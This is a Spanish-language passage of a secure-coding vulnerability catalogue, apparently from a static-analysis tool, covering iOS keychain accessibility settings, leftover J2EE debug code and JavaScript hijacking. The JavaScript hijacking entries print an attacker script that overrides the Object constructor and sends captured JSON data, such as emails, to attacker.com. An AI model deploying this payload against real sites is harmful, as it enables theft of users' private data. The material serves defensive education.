Reino: Encapsulation

La encapsulación consiste en crear límites fuertes. En un explorador web esto puede suponer la seguridad de que tu codificación móvil no se vea comprometido por otro código móvil. En el servidor puede significar la diferenciación entre los datos validados y los que no lo están, entre los datos de un usuario y los de otro, o entre los diferentes usuarios, los datos que pueden ver y los que no.

104 elementos encontrados
Debilidades
Abstract
El método identificado almacena los datos en las llaves sin especificar un nivel de accesibilidad.
Explanation
Cuando se almacenan los datos en las llaves, es necesario configurar un nivel de accesibilidad que defina cuándo será posible acceder al elemento. Los niveles de accesibilidad posibles incluyen los siguientes:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
No es posible acceder a los datos del elemento de las llaves después de un reinicio a menos que el usuario haya desbloqueado una vez el dispositivo.
Tras el primer desbloqueo, los datos permanecen accesibles hasta el próximo reinicio. Esta opción se recomienda para los elementos a los que deben tener acceso las aplicaciones en segundo plano. Los elementos con este atributo no migran a un dispositivo nuevo. Por lo tanto, al realizar una restauración con una copia de seguridad de otro dispositivo, estos elementos no estarán presentes.
Disponible en iOS 4.0 y posteriores.

-kSecAttrAccessibleAlways:
Siempre se puede acceder a los datos del elemento de las llaves, independientemente de si el dispositivo está bloqueado.
No se recomienda usar esta opción con aplicaciones. Los elementos con este atributo migran a un dispositivo nuevo cuando se usan copias de seguridad cifradas.
Disponible en iOS 4.0 y posteriores.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
Solo se puede acceder a los datos de las llaves cuando el dispositivo está desbloqueado. Solo está disponible si se configura un código de acceso en el dispositivo.
Esta opción se recomienda para los elementos a los que solo es necesario tener acceso mientras la aplicación está en primer plano. Los elementos con este atributo nunca migran a un dispositivo nuevo. Tras restaurar una copia de seguridad en un dispositivo nuevo, no se encuentran estos elementos. Ningún elemento puede almacenarse en esta clase en los dispositivos sin un código de acceso. Si se deshabilita el código de acceso del dispositivo, se eliminan todos los elementos de esta clase.
Disponible en iOS 8.0 y posteriores.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Siempre se puede acceder a los datos del elemento de las llaves, independientemente de si el dispositivo está bloqueado.
No se recomienda usar esta opción con aplicaciones. Los elementos con este atributo no migran a un dispositivo nuevo. Por lo tanto, al realizar una restauración con una copia de seguridad de otro dispositivo, estos elementos no estarán presentes.
Disponible en iOS 4.0 y posteriores.

-kSecAttrAccessibleWhenUnlocked:
Solo se puede acceder a los datos del elemento de las llaves mientras el dispositivo está desbloqueado por el usuario.
Esta opción se recomienda para los elementos a los que solo es necesario acceder mientras la aplicación está en primer plano. Los elementos con este atributo migran a un dispositivo nuevo cuando se usan copias de seguridad cifradas.
Este es el valor predeterminado para los elementos de las llaves que se agregan sin configurar de forma explícita una constante de accesibilidad.
Disponible en iOS 4.0 y posteriores.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Solo se puede acceder a los datos del elemento de las llaves mientras el dispositivo está desbloqueado por el usuario.
Esta opción se recomienda para los elementos a los que solo es necesario acceder mientras la aplicación está en primer plano. Los elementos con este atributo no migran a un dispositivo nuevo. Por lo tanto, al realizar una restauración con una copia de seguridad de otro dispositivo, estos elementos no estarán presentes.
Disponible en iOS 4.0 y posteriores.

Cuando las protecciones de las llaves se introdujeron por primera vez, el valor predeterminado era kSecAttrAccessibleAlways, lo que creaba un problema de seguridad ya que si alguien tenía acceso a su dispositivo o lo robaba podía leer el contenido de las llaves. En la actualidad, el atributo predeterminado es kSecAttrAccessibleWhenUnlocked, que es un valor predeterminado razonablemente restrictivo. Sin embargo, la documentación pública de Apple no está de acuerdo sobre cuál debe ser el atributo predeterminado. Por lo tanto, como precaución, debe configurar este atributo de manera explícita en todos los elementos de las llaves.

Ejemplo 1: en el siguiente ejemplo, el elemento de las llaves se almacena sin especificar claramente un nivel de accesibilidad que podrá tener un comportamiento distinto en las distintas versiones de iOS:


...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

// Configure Keychain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...

OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.objc.insecure_storage_unspecified_keychain_access_policy
Abstract
El método identificado almacena los datos en las llaves sin especificar un nivel de accesibilidad.
Explanation
Cuando se almacenan los datos en las llaves, es necesario configurar un nivel de accesibilidad que defina cuándo será posible acceder al elemento. Los niveles de accesibilidad posibles incluyen los siguientes:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
No es posible acceder a los datos del elemento de las llaves después de un reinicio a menos que el usuario haya desbloqueado una vez el dispositivo.
Tras el primer desbloqueo, los datos permanecen accesibles hasta el próximo reinicio. Esta opción se recomienda para los elementos a los que deben tener acceso las aplicaciones en segundo plano. Los elementos con este atributo no migran a un dispositivo nuevo. Por lo tanto, al realizar una restauración con una copia de seguridad de otro dispositivo, estos elementos no estarán presentes.
Disponible en iOS 4.0 y posteriores.

-kSecAttrAccessibleAlways:
Siempre se puede acceder a los datos del elemento de las llaves, independientemente de si el dispositivo está bloqueado.
No se recomienda usar esta opción con aplicaciones. Los elementos con este atributo migran a un dispositivo nuevo cuando se usan copias de seguridad cifradas.
Disponible en iOS 4.0 y posteriores.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
Solo se puede acceder a los datos de las llaves cuando el dispositivo está desbloqueado. Solo está disponible si se configura un código de acceso en el dispositivo.
Esta opción se recomienda para los elementos a los que solo es necesario tener acceso mientras la aplicación está en primer plano. Los elementos con este atributo nunca migran a un dispositivo nuevo. Tras restaurar una copia de seguridad en un dispositivo nuevo, no se encuentran estos elementos. Ningún elemento puede almacenarse en esta clase en los dispositivos sin un código de acceso. Si se deshabilita el código de acceso del dispositivo, se eliminan todos los elementos de esta clase.
Disponible en iOS 8.0 y posteriores.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Siempre se puede acceder a los datos del elemento de las llaves, independientemente de si el dispositivo está bloqueado.
No se recomienda usar esta opción con aplicaciones. Los elementos con este atributo no migran a un dispositivo nuevo. Por lo tanto, al realizar una restauración con una copia de seguridad de otro dispositivo, estos elementos no estarán presentes.
Disponible en iOS 4.0 y posteriores.

-kSecAttrAccessibleWhenUnlocked:
Solo se puede acceder a los datos del elemento de las llaves mientras el dispositivo está desbloqueado por el usuario.
Esta opción se recomienda para los elementos a los que solo es necesario acceder mientras la aplicación está en primer plano. Los elementos con este atributo migran a un dispositivo nuevo cuando se usan copias de seguridad cifradas.
Este es el valor predeterminado para los elementos de las llaves que se agregan sin configurar de forma explícita una constante de accesibilidad.
Disponible en iOS 4.0 y posteriores.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Solo se puede acceder a los datos del elemento de las llaves mientras el dispositivo está desbloqueado por el usuario.
Esta opción se recomienda para los elementos a los que solo es necesario acceder mientras la aplicación está en primer plano. Los elementos con este atributo no migran a un dispositivo nuevo. Por lo tanto, al realizar una restauración con una copia de seguridad de otro dispositivo, estos elementos no estarán presentes.
Disponible en iOS 4.0 y posteriores.

Cuando las protecciones de las llaves se introdujeron por primera vez, el valor predeterminado era kSecAttrAccessibleAlways, lo que creaba un problema de seguridad ya que si alguien tenía acceso a su dispositivo o lo robaba podía leer el contenido de las llaves. En la actualidad, el atributo predeterminado es kSecAttrAccessibleWhenUnlocked, que es un valor predeterminado razonablemente restrictivo. Sin embargo, la documentación pública de Apple no está de acuerdo sobre cuál debe ser el atributo predeterminado. Por lo tanto, como precaución, debe configurar este atributo de manera explícita en todos los elementos de las llaves.

Ejemplo 1: en el siguiente ejemplo, el elemento de las llaves se almacena sin especificar claramente un nivel de accesibilidad que podrá tener un comportamiento distinto en las distintas versiones de iOS:


...
// Configure Keychain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?

SecItemAdd(query as CFDictionary, nil)
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.swift.insecure_storage_unspecified_keychain_access_policy
Abstract
El código de depuración crea puntos de entrada accidentales en una aplicación web implementada.
Explanation
Un procedimiento habitual de desarrollo consiste en añadir un código de "puerta trasera" diseñado específicamente para fines de depuración o pruebas que no se vaya a enviar o implementar con la aplicación. Cuando este tipo de código de depuración se deja accidentalmente en la aplicación, este se abre en modos de interacción no previstos. Estos puntos de entrada de "puerta trasera" conllevan riesgos de seguridad porque no se tienen en cuenta durante las fases de diseño y pruebas, y no se incluyen en las condiciones de funcionamiento previstas de la aplicación.

El ejemplo más habitual de código de depuración que se ha dejado olvidado es un método main() que aparece en una aplicación web. Aunque se trata de una práctica aceptable durante el desarrollo de productos, las clases que forman parte de una aplicación J2EE de producción no deben definir uno main().
References
[1] ENV06-J. Production code must not contain debugging entry points CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[6] Standards Mapping - Common Weakness Enumeration CWE ID 489
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.3.2 Unintended Security Disclosure Requirements (L1 L2 L3), 14.2.2 Dependency (L1 L2 L3)
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
desc.structural.java.j2ee_badpractices_leftover_debug_code
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.java.javascript_hijacking
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.javascript.javascript_hijacking
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable. Las matrices de JavaScript pueden ser robadas si el motor JavaScript del explorador permite el envenenamiento del constructor por matrices.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si:
1) Utiliza JavaScript como un formato de transferencia de datos.
2) Administra datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks llama la atención ante posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

